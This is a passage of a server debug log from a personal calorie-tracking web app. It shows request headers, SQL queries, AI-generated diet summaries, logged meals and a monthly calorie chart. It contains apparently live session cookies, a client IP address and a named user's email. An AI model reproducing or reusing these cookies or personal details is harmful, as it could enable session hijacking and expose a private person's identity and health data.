    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T13:02:29.607Z server-connect:app Executing action step identify
2025-12-17T13:02:29.607Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:29.607Z server-connect:output identity: 1
2025-12-17T13:02:30.134Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T13:02:30.135Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T13:02:30.136Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T13:02:30.137Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T13:02:30.137Z server-connect:app Executing action step identify
2025-12-17T13:02:30.137Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:30.137Z server-connect:output identity: 1
2025-12-17T13:02:30.137Z server-connect:app Executing action step restrict
2025-12-17T13:02:30.137Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:02:30.138Z server-connect:app Executing action step identify
2025-12-17T13:02:30.138Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:30.138Z server-connect:output identity: 1
2025-12-17T13:02:30.138Z server-connect:app Executing action step restrict
2025-12-17T13:02:30.138Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:02:30.139Z server-connect:output restrict: undefined
2025-12-17T13:02:30.139Z server-connect:app Executing action step single
2025-12-17T13:02:30.139Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T13:02:30.140Z server-connect:app Executing action step identify
2025-12-17T13:02:30.140Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:30.140Z server-connect:output identity: 1
2025-12-17T13:02:30.140Z server-connect:app Executing action step restrict
2025-12-17T13:02:30.140Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:02:30.142Z server-connect:app Executing action step identify
2025-12-17T13:02:30.142Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:30.142Z server-connect:output identity: 1
2025-12-17T13:02:30.142Z server-connect:app Executing action step restrict
2025-12-17T13:02:30.142Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:30.142Z server-connect:output restrict: undefined
2025-12-17T13:02:30.142Z server-connect:app Executing action step single
2025-12-17T13:02:30.142Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T13:02:30.143Z server-connect:output restrict: undefined
2025-12-17T13:02:30.143Z server-connect:app Executing action step single
2025-12-17T13:02:30.143Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T13:02:30.144Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T13:02:30.146Z server-connect:output restrict: undefined
2025-12-17T13:02:30.146Z server-connect:app Executing action step select
2025-12-17T13:02:30.146Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T13:02:30.148Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake provided a decent foundation with the inclusion of protein from whey and dairy, along with carbohydrates for energy. The meal structure appears reasonably spread out, supporting recovery from your early morning workouts. However, there's an opportunity to enhance protein diversity and ensure adequate fiber intake throughout the day.",
    bad_points: [
      'Limited variety in protein sources.',
      'Potential for higher carbohydrate content in the main meal.',
      'Fiber intake could be increased.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Incorporation of fruits like banana and papaya.',
      'Adequate hydration throughout the day.',
      'Reasonable meal distribution.'
    ],
    suggestions: [
      'Incorporate a lean protein source with your main meal, such as chicken or lentils.',
      'Add more vegetables to your sabzi or include a side salad for increased fiber.',
      'Consider adding a source of healthy fats beyond walnuts, like avocado or seeds, to other meals.',
      'Ensure consistent protein intake across all meals.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T13:02:30.150Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T13:02:30.151Z server-connect:app Executing action step select
2025-12-17T13:02:30.151Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T13:02:30.157Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T13:02:30.160Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  },
  {
    id: 427,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-17T04:40:11.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 428,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Herbal tea (0 calories),Tea with skim milk (lower fat, slightly lower calories)',
    created_at: '2025-12-17T05:11:01.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, the protein content is beneficial.'
  }
]
2025-12-17T13:02:30.160Z server-connect:app Executing action step setvalue
2025-12-17T13:02:30.160Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T13:02:30.160Z server-connect:output var_total: 1196
2025-12-17T13:02:30.160Z server-connect:app Executing action step setvalue
2025-12-17T13:02:30.160Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T13:02:30.161Z server-connect:output var_consumed: 50
2025-12-17T13:02:30.161Z server-connect:app Executing action step setvalue
2025-12-17T13:02:30.161Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T13:02:30.161Z server-connect:output var_deficit: 1204
2025-12-17T13:02:30.161Z server-connect:app Executing action step custom
2025-12-17T13:02:30.161Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T13:02:30.162Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1196',
    surplus_or_deficit: '1204',
    status_flag: 2
  }
]
2025-12-17T13:02:30.979Z server-connect:app Executing action step identify
2025-12-17T13:02:30.979Z server-connect:app options: { provider: 'security' }
2025-12-17T13:02:30.979Z server-connect:output identity: 1
2025-12-17T13:06:36.165Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T13:06:36.165Z server-connect:app Executing action step identify
2025-12-17T13:06:36.165Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:36.166Z server-connect:output identity: 1
2025-12-17T13:06:36.166Z server-connect:app Executing action step restrict
2025-12-17T13:06:36.166Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:06:36.167Z server-connect:output restrict: undefined
2025-12-17T13:06:36.168Z server-connect:app Executing action step processWithGemini
2025-12-17T13:06:36.168Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-17T13:06:44.140Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 48,
      total_calories: 48,
      protein: 8,
      carbs: 12,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally good, but can be higher in calories if using full-fat milk. For muscle development, the protein from milk is beneficial.'
    }
  ],
